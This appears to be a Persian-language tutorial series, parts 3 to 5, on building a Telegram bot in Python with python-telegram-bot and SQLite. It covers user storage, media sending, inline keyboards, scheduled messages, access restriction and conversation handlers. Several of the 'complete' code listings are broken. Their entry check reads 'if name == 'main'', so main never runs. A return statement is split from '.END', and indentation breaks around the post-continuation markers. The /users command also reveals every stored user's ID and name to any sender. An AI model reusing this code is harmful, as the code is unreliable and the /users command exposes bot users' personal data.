برای بازیابی اطلاعات کاربران از پایگاه داده، می‌توانیم یک تابع تعریف کنیم. برای مثال، تابعی که لیست کاربران را برمی‌گرداند:

def get_users():
    cursor.execute('SELECT * FROM users')
    return cursor.fetchall()

✨ ۶. به‌روزرسانی و حذف اطلاعات

برای به‌روزرسانی و حذف اطلاعات نیز می‌توانیم توابع مشابهی تعریف کنیم. برای مثال، به‌روزرسانی نام کاربری یک کاربر:

def update_username(user_id, new_username):
    cursor.execute('''
        UPDATE users
        SET username = ?
        WHERE user_id = ?
    ''', (new_username, user_id))
    conn.commit()

✨ راه‌اندازی و اجرای ربات

در نهایت، کد کامل ربات با اتصال به پایگاه داده به شکل زیر خواهد بود:

import sqlite3
from telegram import Update
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext

TOKEN = 'YOUR_BOT_TOKEN'

conn = sqlite3.connect('bot_database.db')
cursor = conn.cursor()

cursor.execute('''
    CREATE TABLE IF NOT EXISTS users (
        user_id INTEGER PRIMARY KEY,
        username TEXT,
        first_name TEXT,
        last_name TEXT
    )
''')
conn.commit()

def start(update: Update, context: CallbackContext) -> None:
    user = update.message.from_user
    cursor.execute('''
        INSERT OR IGNORE INTO users (user_id, username, first_name, last_name)
        VALUES (?, ?, ?, ?)
    ''', (user.id, user.username, user.first_name, user.last_name))
    conn.commit()
    update.message.reply_text('سلام! به ربات من خوش آمدید.')

def help_command(update: Update, context: CallbackContext) -> None:
    update.message.reply_text('چطور می‌توانم به شما کمک کنم؟')

def echo(update: Update, context: CallbackContext) -> None:
    update.message.reply_text(update.message.text)

def main():
    updater = Updater(TOKEN)

    dispatcher = updater.dispatcher

    dispatcher.add_handler(CommandHandler("start", start))
    dispatcher.add_handler(CommandHandler("help", help_command))
    dispatcher.add_handler(MessageHandler(Filters.text & ~Filters.command, echo))

    updater.start_polling()
    updater.idle()

if __name__ == '__main__':
    main()

این کد رباتی ایجاد می‌کند که به دستورات /start و /help پاسخ می‌دهد و اطلاعات کاربران را در یک پایگاه داده SQLite ذخیره می‌کند. 🎉

امیدوارم از این آموزش لذت برده باشید! برای دیدن آموزش‌های بیشتر، کانال ما را دنبال کنید.
[کانال تلگرام]

#پایتون #آموزش_پایتون #ربات_تلگرام #برنامه_نویسی #python #telegram_bot

پارت ۴: ارسال پیام‌های چندرسانه‌ای و تعاملی

✨ ۱. ارسال عکس، ویدئو، فایل و غیره

برای ارسال انواع مختلف رسانه‌ها (عکس، ویدئو، فایل) می‌توانیم از متدهای موجود در telegram.Bot استفاده کنیم. به عنوان مثال، برای ارسال یک عکس:

def send_photo(update: Update, context: CallbackContext) -> None:
    chat_id = update.message.chat_id
    context.bot.send_photo(chat_id=chat_id, photo=open('path/to/photo.jpg', 'rb'))

برای ارسال یک ویدئو:

def send_video(update: Update, context: CallbackContext) -> None:
    chat_id = update.message.chat_id
    context.bot.send_video(chat_id=chat_id, video=open('path/to/video.mp4', 'rb'))

✨ ۲. استفاده از کیبورد‌های تعاملی (Inline Keyboard)

کیبوردهای تعاملی برای ایجاد دکمه‌های قابل کلیک در پیام‌ها استفاده می‌شوند. به عنوان مثال، برای ارسال یک پیام با دکمه‌های تعاملی:

from telegram import InlineKeyboardButton, InlineKeyboardMarkup

def start(update: Update, context: CallbackContext) -> None:
    keyboard = [
        [InlineKeyboardButton("گزینه ۱", callback_data='1')],
        [InlineKeyboardButton("گزینه ۲", callback_data='2')],
    ]
    reply_markup = InlineKeyboardMarkup(keyboard)
    update.message.reply_text('یک گزینه را انتخاب کنید:', reply_markup=reply_markup)

✨ ۳. مدیریت پاسخ‌های کاربران به دکمه‌های تعاملی

برای مدیریت پاسخ‌های کاربران به دکمه‌های تعاملی، باید یک هندلر برای CallbackQuery اضافه کنیم:

def button(update: Update, context: CallbackContext) -> None:
    query = update.callback_query
    query.answer()
    query.edit_message_text(text=f"شما گزینه {query.data} را انتخاب کردید")

dispatcher.add_handler(CallbackQueryHandler(button))

✨ راه‌اندازی و اجرای ربات

در نهایت، کد کامل ربات با ارسال پیام‌های چندرسانه‌ای و تعاملی به شکل زیر خواهد بود:

import sqlite3
from telegram import Update, InlineKeyboardButton, InlineKeyboardMarkup
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext, CallbackQueryHandler

TOKEN = 'YOUR_BOT_TOKEN'

conn = sqlite3.connect('bot_database.db')
cursor = conn.cursor()

cursor.execute('''
    CREATE TABLE IF NOT EXISTS users (
        user_id INTEGER PRIMARY KEY,
        username TEXT,
        first_name TEXT,
        last_name TEXT
    )
''')
conn.commit()

def start(update: Update, context: CallbackContext) -> None:
    user = update.message.from_user
    cursor.execute('''
        INSERT OR IGNORE INTO users (user_id, username, first_name, last_name)
        VALUES (?, ?, ?, ?)
    ''', (user.id, user.username, user.first_name, user.last_name))
    conn.commit()
    keyboard = [
        [InlineKeyboardButton("گزینه ۱", callback_data='1')],
        [InlineKeyboardButton("گزینه ۲", callback_data='2')],
    ]
    reply_markup = InlineKeyboardMarkup(keyboard)
    update.message.reply_text('سلام! به ربات من خوش آمدید. یک گزینه را انتخاب کنید:', reply_markup=reply_markup)

def help_command(update: Update, context: CallbackContext) -> None:
    update.message.reply_text('چطور می‌توانم به شما کمک کنم؟')

def echo(update: Update, context: CallbackContext) -> None:
    update.message.reply_text(update.message.text)

def send_photo(update: Update, context: CallbackContext) -> None:
    chat_id = update.message.chat_id
    context.bot.send_photo(chat_id=chat_id, photo=open('path/to/photo.jpg', 'rb'))

def send_video(update: Update, context: CallbackContext) -> None:
    chat_id = update.message.chat_id
    context.bot.send_video(chat_id=chat_id, video=open('path/to/video.mp4', 'rb'))

def button(update: Update, context: CallbackContext) -> None:
    query = update.callback_query
    query.answer()
    query.edit_message_text(text=f"شما گزینه {query.data} را انتخاب کردید")

def main():
    updater = Updater(TOKEN)

    dispatcher = updater.dispatcher

    dispatcher.add_handler(CommandHandler("start", start))
    dispatcher.add_handler(CommandHandler("help", help_command))
    dispatcher.add_handler(MessageHandler(Filters.text & ~Filters.command, echo))
    dispatcher.add_handler(CallbackQueryHandler(button))

☝️☝️ادامه کد بالا☝️☝️

updater.start_polling()
    updater.idle()

if name == 'main':
    main()

این کد به ربات اجازه می‌دهد تا عکس، ویدئو ارسال کند و پیام‌هایی با دکمه‌های تعاملی ایجاد کند که کاربران می‌توانند آن‌ها را انتخاب کنند. 🎉

امیدوارم از این آموزش لذت برده باشید! برای دیدن آموزش‌های بیشتر، کانال ما را دنبال کنید.
[کانال تلگرام]

#پایتون #آموزش_پایتون #ربات_تلگرام #برنامه_نویسی #python #telegram_bot

پارت ۵: ویژگی‌های پیشرفته و امنیت ربات

✨ ۱. مدیریت خطاها (Error Handling)

برای اطمینان از اینکه ربات به درستی با خطاها برخورد می‌کند و از کار نمی‌افتد، باید مدیریت خطاها را به کد اضافه کنیم:

def error(update: Update, context: CallbackContext) -> None:
    print(f"خطا: {context.error}")
    update.message.reply_text('یک خطا رخ داده است. لطفاً دوباره تلاش کنید.')

dispatcher.add_error_handler(error)

✨ ۲. افزودن دستور جدید برای دریافت اطلاعات از پایگاه داده

برای نمایش اطلاعات ذخیره‌شده در پایگاه داده به کاربران، می‌توانیم یک دستور جدید به ربات اضافه کنیم. به عنوان مثال، دستور /users که لیست کاربران را نمایش می‌دهد:

def list_users(update: Update, context: CallbackContext) -> None:
    cursor.execute('SELECT * FROM users')
    users = cursor.fetchall()
    response = '\n'.join([f"ID: {user[0]}, Username: {user[1]}, Name: {user[2]} {user[3]}" for user in users])
    update.message.reply_text(response or 'هیچ کاربری یافت نشد.')

dispatcher.add_handler(CommandHandler("users", list_users))

✨ ۳. ارسال پیام‌های خودکار (Scheduled Messages)

برای ارسال پیام‌های خودکار در زمان‌های مشخص، می‌توان از ماژول threading استفاده کرد:

import threading
import time

def send_scheduled_message(context: CallbackContext) -> None:
    chat_id = context.job.context
    context.bot.send_message(chat_id=chat_id, text='این یک پیام زمان‌بندی‌شده است!')

def schedule_message(update: Update, context: CallbackContext) -> None:
    chat_id = update.message.chat_id
    context.job_queue.run_once(send_scheduled_message, 10, context=chat_id)
    update.message.reply_text('پیام زمان‌بندی‌شده در 10 ثانیه دیگر ارسال خواهد شد.')

dispatcher.add_handler(CommandHandler("schedule", schedule_message))

✨ ۴. افزایش امنیت ربات

برای افزایش امنیت ربات، می‌توان موارد زیر را رعایت کرد:

- محدود کردن دسترسی به دستورات حساس: می‌توان دستورات خاصی را فقط برای کاربران مشخصی قابل اجرا کرد. به عنوان مثال:

    def restricted(func):
        def wrapped(update: Update, context: CallbackContext, *args, **kwargs):
            user_id = update.effective_user.id
            if user_id not in [YOUR_USER_ID]:
                update.message.reply_text('شما اجازه دسترسی به این دستور را ندارید.')
                return
            return func(update, context, *args, **kwargs)
        return wrapped

    @restricted
    def secret_command(update: Update, context: CallbackContext) -> None:
        update.message.reply_text('این یک دستور محرمانه است.')

    dispatcher.add_handler(CommandHandler("secret", secret_command))
    

- عدم ذخیره توکن ربات در کد: توکن ربات را به جای ذخیره در کد، در یک فایل محیطی یا پایگاه داده ذخیره کنید و از آنجا بارگذاری کنید.

✨ ۵. مدیریت مکالمات (Conversation Handlers)

برای ایجاد مکالمات پیچیده، می‌توان از ConversationHandler استفاده کرد. به عنوان مثال، برای ایجاد یک مکالمه ساده که از کاربر سوال می‌پرسد و پاسخ را ذخیره می‌کند:

from telegram.ext import ConversationHandler

NAME, AGE = range(2)

def start_conversation(update: Update, context: CallbackContext) -> int:
    update.message.reply_text('نام خود را وارد کنید:')
    return NAME

def get_name(update: Update, context: CallbackContext) -> int:
    context.user_data['name'] = update.message.text
    update.message.reply_text('سن خود را وارد کنید:')
    return AGE

def get_age(update: Update, context: CallbackContext) -> int:
    context.user_data['age'] = update.message.text
    update.message.reply_text(f"نام شما: {context.user_data['name']}\nسن شما: {context.user_data['age']}")
    return ConversationHandler.END

def cancel(update: Update, context: CallbackContext) -> int:
    update.message.reply_text('مکالمه لغو شد.')
    return ConversationHandler.END

conv_handler = ConversationHandler(
    entry_points=[CommandHandler('start_convo', start_conversation)],
    states={
        NAME: [MessageHandler(Filters.text & ~Filters.command, get_name)],
        AGE: [MessageHandler(Filters.text & ~Filters.command, get_age)],
    },
    fallbacks=[CommandHandler('cancel', cancel)],
)

☝️☝️ادامه کد بالا☝️☝️

dispatcher.add_handler(conv_handler)

✨ راه‌اندازی و اجرای نهایی ربات

در نهایت، کد کامل ربات با ویژگی‌های پیشرفته به شکل زیر خواهد بود:

import sqlite3
from telegram import Update, InlineKeyboardButton, InlineKeyboardMarkup
from telegram.ext import (Updater, CommandHandler, MessageHandler, Filters, 
                          CallbackContext, CallbackQueryHandler, ConversationHandler)

TOKEN = 'YOUR_BOT_TOKEN'

conn = sqlite3.connect('bot_database.db')
cursor = conn.cursor()

cursor.execute('''
    CREATE TABLE IF NOT EXISTS users (
        user_id INTEGER PRIMARY KEY,
        username TEXT,
        first_name TEXT,
        last_name TEXT
    )
''')
conn.commit()

def start(update: Update, context: CallbackContext) -> None:
    user = update.message.from_user
    cursor.execute('''
        INSERT OR IGNORE INTO users (user_id, username, first_name, last_name)
        VALUES (?, ?, ?, ?)
    ''', (user.id, user.username, user.first_name, user.last_name))
    conn.commit()
    keyboard = [
        [InlineKeyboardButton("گزینه ۱", callback_data='1')],
        [InlineKeyboardButton("گزینه 2", callback_data='2')],
    ]
    reply_markup = InlineKeyboardMarkup(keyboard)
    update.message.reply_text('سلام! به ربات من خوش آمدید. یک گزینه را انتخاب کنید:', reply_markup=reply_markup)

def help_command(update: Update, context: CallbackContext) -> None:
    update.message.reply_text('چطور می‌توانم به شما کمک کنم؟')

def echo(update: Update, context: CallbackContext) -> None:
    update.message.reply_text(update.message.text)

def send_photo(update: Update, context: CallbackContext) -> None:
    chat_id = update.message.chat_id
    context.bot.send_photo(chat_id=chat_id, photo=open('path/to/photo.jpg', 'rb'))

def send_video(update: Update, context: CallbackContext) -> None:
    chat_id = update.message.chat_id
    context.bot.send_video(chat_id=chat_id, video=open('path/to/video.mp4', 'rb'))

def button(update: Update, context: CallbackContext) -> None:
    query = update.callback_query
    query.answer()
    query.edit_message_text(text=f"شما گزینه {query.data} را انتخاب کردید")

def list_users(update: Update, context: CallbackContext) -> None:
    cursor.execute('SELECT * FROM users')
    users = cursor.fetchall()
    response = '\n'.join([f"ID: {user[0]}, Username: {user[1]}, Name: {user[2]} {user[3]}" for user in users])
    update.message.reply_text(response or 'هیچ کاربری یافت نشد.')

def error(update: Update, context: CallbackContext) -> None:
    print(f"خطا: {context.error}")
    update.message.reply_text('یک خطا رخ داده است. لطفاً دوباره تلاش کنید.')

def send_scheduled_message(context: CallbackContext) -> None:
    chat_id = context.job.context
    context.bot.send_message(chat_id=chat_id, text='این یک پیام زمان‌بندی‌شده است!')

def schedule_message(update: Update, context: CallbackContext) -> None:
    chat_id = update.message.chat_id
    context.job_queue.run_once(send_scheduled_message, 10, context=chat_id)
    update.message.reply_text('پیام زمان‌بندی‌شده در 10 ثانیه دیگر ارسال خواهد شد.')

def restricted(func):
    def wrapped(update: Update, context: CallbackContext, *args, **kwargs):
        user_id = update.effective_user.id
        if user_id not in [YOUR_USER_ID]:
            update.message.reply_text('شما اجازه دسترسی به این دستور را ندارید.')
            return
        return func(update, context, *args, **kwargs)
    return wrapped

@restricted
def secret_command(update: Update, context: CallbackContext) -> None:
    update.message.reply_text('این یک دستور محرمانه است.')

NAME, AGE = range(2)

def start_conversation(update: Update, context: CallbackContext) -> int:
    update.message.reply_text('نام خود را وارد کنید:')
    return NAME

def get_name(update: Update, context: CallbackContext) -> int:
    context.user_data['name'] = update.message.text
    update.message.reply_text('سن خود را وارد کنید:')
    return AGE

☝️☝️ادامه کد بالا☝️☝️

def get_age(update: Update, context: CallbackContext) -> int:
    context.user_data['age'] = update.message.text
    update.message.reply_text(f"نام شما: {context.user_data['name']}\nسن شما: {context.user_data['age']}")
    return ConversationHandler.END

def cancel(update: Update, context: CallbackContext) -> int:
    update.message.reply_text('مکالمه لغو شد.')
    return ConversationHandler

.END

conv_handler = ConversationHandler(
    entry_points=[CommandHandler('start_convo', start_conversation)],
    states={
        NAME: [MessageHandler(Filters.text & ~Filters.command, get_name)],
        AGE: [MessageHandler(Filters.text & ~Filters.command, get_age)],
    },
    fallbacks=[CommandHandler('cancel', cancel)],
)

def main():
    updater = Updater(TOKEN)

    dispatcher = updater.dispatcher

    dispatcher.add_handler(CommandHandler("start", start))
    dispatcher.add_handler(CommandHandler("help", help_command))
    dispatcher.add_handler(CommandHandler("users", list_users))
    dispatcher.add_handler(CommandHandler("schedule", schedule_message))
    dispatcher.add_handler(CommandHandler("secret", secret_command))
    dispatcher.add_handler(MessageHandler(Filters.text & ~Filters.command, echo))
    dispatcher.add_handler(CallbackQueryHandler(button))
    dispatcher.add_handler(conv_handler)
    dispatcher.add_error_handler(error)

    updater.start_polling()
    updater.idle()

if name == 'main':
    main()

این کد رباتی را ایجاد می‌کند که قابلیت‌های پیشرفته‌ای مانند ارسال پیام‌های چندرسانه‌ای، مکالمات تعاملی، پیام‌های زمان‌بندی‌شده و مدیریت خطاها دارد. 🎉

امیدوارم از این آموزش لذت برده باشید! برای دیدن آموزش‌های بیشتر، کانال ما را دنبال کنید.
[کانال تلگرام]

#پایتون #آموزش_پایتون #ربات_تلگرام #برنامه_نویسی #python #telegram_bot